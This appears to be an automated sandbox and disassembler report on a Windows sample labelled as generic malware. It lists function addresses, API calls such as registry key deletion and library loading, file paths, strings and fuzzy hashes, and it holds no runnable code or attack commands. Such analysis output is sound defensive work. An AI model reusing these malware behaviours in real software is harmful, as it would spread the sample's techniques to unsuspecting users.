Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 0fe20a848d4a285c173513a47146d0bdd1f0b43cc80ef0beb9e6d9777ffbd6ad
Instruction ID: 4938fc2aff7960a3a7fedf371d3c64c497049ea43b58312dd80c80f6ae9549af
Opcode Fuzzy Hash: 0fe20a848d4a285c173513a47146d0bdd1f0b43cc80ef0beb9e6d9777ffbd6ad
Instruction Fuzzy Hash: 5051FB75D0421AABDF249FD4CA84AAEBB79FF04344F10817BE901B62D0D7B49D828B58

Function 004032B9 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040331A
GetTickCount.KERNEL32 ref: 0040339B
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 004033C8
wsprintfW.USER32 ref: 004033DB

Strings

... %d%%, xrefs: 004033D5

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: bb69fc25e18161a0849df33240b9b7daf63c30e93ac5b68caaa3da3af3354023
Instruction ID: 25ee467b37f7358b1d8943912f63d539eb3ef7c07a249f5ee2dc3eaa61b9464a
Opcode Fuzzy Hash: bb69fc25e18161a0849df33240b9b7daf63c30e93ac5b68caaa3da3af3354023
Instruction Fuzzy Hash: 5B518E31900219EBCB11DF65DA44BAF3FA8AB40726F14417BF804BB2C1D7789E408BA9

Function 004068A5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004068BC
wsprintfW.USER32 ref: 004068F7
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 0040690B

Strings

%s%S.dll, xrefs: 004068F1
UXTHEME, xrefs: 004068AE

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction ID: d40490b37a95929041f6b14fe17981fa15644a851550e805e000283098582d10
Opcode Fuzzy Hash: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
Instruction Fuzzy Hash: 41F0FC31511119AACF10BB64DD0DF9B375C9B00305F10847AE546F10D0EB789A68CBA8

Function 00402EAE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402F02
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F4E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F57
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F6E
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F79

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction ID: 48bf034c557530f45265713f896c64b121a5f1f2f5b25ab6521791cb913d5ed3
Opcode Fuzzy Hash: 2404979ab5d72bd1f47e4c5d2100d154d2dcf156ce7fec90999c2a50aae3b712
Instruction Fuzzy Hash: 74215A7150010ABFDF119F90CE89EEF7B7DEB54388F110076B949B11A0D7B49E54AA68

Function 70591817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 70591BFF: GlobalFree.KERNEL32(?), ref: 70591E74
Part of subcall function 70591BFF: GlobalFree.KERNEL32(?), ref: 70591E79
Part of subcall function 70591BFF: GlobalFree.KERNEL32(?), ref: 70591E7E

GlobalFree.KERNEL32(00000000), ref: 705918C5
FreeLibrary.KERNEL32(?), ref: 7059194B
GlobalFree.KERNEL32(00000000), ref: 70591970

Part of subcall function 7059243E: GlobalAlloc.KERNEL32(00000040,?), ref: 7059246F

Part of subcall function 70592810: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,70591896,00000000), ref: 705928E0

Part of subcall function 70591666: wsprintfW.USER32 ref: 70591694

Strings

, xrefs: 70591951

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 45ed69a1a92220e79e0cc401c604a956b51a2cf19d84702c7c39318d805e1292
Instruction ID: 2ed620f12ae23405c80220a87eb45692be8b231c92311613f7df58bc5ed9bdf0
Opcode Fuzzy Hash: 45ed69a1a92220e79e0cc401c604a956b51a2cf19d84702c7c39318d805e1292
Instruction Fuzzy Hash: E041B2728202159FDB119F30DD8DB9D3FACAF04354F15446AF90BAE286DB749884DB6C

Function 00406040 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040605E
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004034FA,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6), ref: 00406079

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406045
nsa, xrefs: 0040604D

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-944333549
Opcode ID: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction ID: 4304e6ca34acc2e603ac9508cdf3fa98200610ac432ccd05af3fd9fdb7d66135
Opcode Fuzzy Hash: 017de5c5da22b1c6cf72d7a8a287ef2c48f88e3ac937424cf3c6df762bd8e462
Instruction Fuzzy Hash: 58F09676B40204FBDB10CF55ED05F9EB7ACEB95750F11403AEE05F7140E6B099548768

Function 004015C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405E9B: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,?,00405F0F,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405EA9
Part of subcall function 00405E9B: CharNextW.USER32(00000000), ref: 00405EAE
Part of subcall function 00405E9B: CharNextW.USER32(00000000), ref: 00405EC6

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161F

Part of subcall function 00405A75: CreateDirectoryW.KERNELBASE(?,?), ref: 00405AB7

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\polaritets,?,00000000,000000F0), ref: 00401652

Strings

C:\Users\user\polaritets, xrefs: 00401645

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\polaritets
API String ID: 1892508949-1397053051
Opcode ID: 4b68a463cc784b1945903bcff3764fd9da93cf801788bc1ee3673f5490bf8ecc
Instruction ID: ceaefb5432ba9a2b041ab88b04bec91c1a8495824eafa6d8534a6d53eb807851
Opcode Fuzzy Hash: 4b68a463cc784b1945903bcff3764fd9da93cf801788bc1ee3673f5490bf8ecc
Instruction Fuzzy Hash: 2D11D031504604ABCF206FA5CD4099F36B0EF04368B29493FE941B22E1DA3E4E819E8E

Function 004063EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,?,?,00000800,00000000,?,?,?,?,Call,?,00000000,00406660,80000002), ref: 00406435
RegCloseKey.KERNELBASE(?), ref: 00406440

Strings

Call, xrefs: 004063F6

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 441e6d046e2572fd66e4c77006f0a98464fe89a944563537cf106c849ea921cc
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: 4F017172500209ABDF218F51CD05EDB3BA9EB54354F01403AFD1992191D738D968DF94

Function 00407074 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff26f2f30a057b7958a1e63094fc459aa306f2dc33e22a09454c964c074026f
Instruction ID: 2d246cc9a99bab59b70d05231fecbcf7b107c6ac3beee636f2a296df3f85dc82
Opcode Fuzzy Hash: aff26f2f30a057b7958a1e63094fc459aa306f2dc33e22a09454c964c074026f
Instruction Fuzzy Hash: 7DA14571E04228DBDF28CFA8C8546ADBBB1FF44305F10816AD856BB281D7786986DF45

Function 00407275 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac8a4bfdb441625c816955e49305bbe8ba575533dfee591c2cbe8a61bd4ebd3
Instruction ID: 7b0bebd33542e08950ef610181a47380a5391ae5859bceecccad38cd1577eaed
Opcode Fuzzy Hash: 3ac8a4bfdb441625c816955e49305bbe8ba575533dfee591c2cbe8a61bd4ebd3
Instruction Fuzzy Hash: 90911370E04228CBDF28CF98C854BADBBB1FF44305F14816AD856BB291D778A986DF45

Function 00406F8B Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4946c792fe510ceb6f898f1d350858136886e798b9c642bfd65d449563e2a9d8
Instruction ID: bb56daa647bdc5b8eebe4baaa8fd529e9884befb34821132b6d53cadc5dab3c5
Opcode Fuzzy Hash: 4946c792fe510ceb6f898f1d350858136886e798b9c642bfd65d449563e2a9d8
Instruction Fuzzy Hash: 84814571E04228DBDF24CFA8C844BADBBB1FF44305F24816AD456BB281D778A986DF05

Function 00406A90 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40acfd0569c51a0ed8326a41ceea3e1cadcd4e5eff2ca22ce679809f46488b45
Instruction ID: 4c059968f2e2b24eb1e5e0c9ef09b3253d11b2009d36a285a9eb138ea7c1b005
Opcode Fuzzy Hash: 40acfd0569c51a0ed8326a41ceea3e1cadcd4e5eff2ca22ce679809f46488b45
Instruction Fuzzy Hash: 5B815971E04228DBDF24CFA8C8447ADBBB0FF44305F20816AD456BB281D7786986DF45

Function 00406EDE Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ecfdc6a50dff7d8916ace13d1bdc0889b51af96eca2ccc09b1dd9eb10df24f6
Instruction ID: d60cf97a253a7e6a69b3ee1887f4eadeccf904993e12f72ad3f9abe973951288
Opcode Fuzzy Hash: 7ecfdc6a50dff7d8916ace13d1bdc0889b51af96eca2ccc09b1dd9eb10df24f6
Instruction Fuzzy Hash: A1711371E04228DBDF24CFA8C844BADBBB1FF44305F15806AD856BB281D778A986DF45

Function 00406FFC Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11de4171378e898cf9dd0cf6cc2122b5d0c7e9a287f85b53884598f27a71e29
Instruction ID: 85b777fa610547d2183482adb232412925907ddbdaa1129d6a49a25a13354a82
Opcode Fuzzy Hash: c11de4171378e898cf9dd0cf6cc2122b5d0c7e9a287f85b53884598f27a71e29
Instruction Fuzzy Hash: 9D714671E04228DBDF28CF98C844BADBBB1FF44305F14816AD856BB281D778A986DF45

Function 00406F48 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1fa58480ac5da56fa6cc6281bf6ff7b0f773126a89d504887f275dca7af18c3
Instruction ID: 068c41ea6699cb9b24c5d93e390f6e15a746ef4a0ce6273c00671ddd4a3661d6
Opcode Fuzzy Hash: f1fa58480ac5da56fa6cc6281bf6ff7b0f773126a89d504887f275dca7af18c3
Instruction Fuzzy Hash: E0715771E04228DBDF24CF98C844BADBBB1FF44305F15806AD856BB281C778AA86DF45

Function 004020DD Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 00402108

Part of subcall function 004055A6: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033F2,00000000,?), ref: 004055DE
Part of subcall function 004055A6: lstrlenW.KERNEL32(004033F2,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000,?,?,?,?,?,?,?,?,?,004033F2,00000000), ref: 004055EE
Part of subcall function 004055A6: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,004033F2,004033F2,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,00000000,00418EC0,00000000), ref: 00405601
Part of subcall function 004055A6: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst8185.tmp\System.dll), ref: 00405613
Part of subcall function 004055A6: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405639
Part of subcall function 004055A6: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405653
Part of subcall function 004055A6: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405661

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 00402119
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,?,000000F0), ref: 00402196

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d9c937c8948d5d37c50d665afaa08982dd07723c7233c08654f6d387f6d988e5
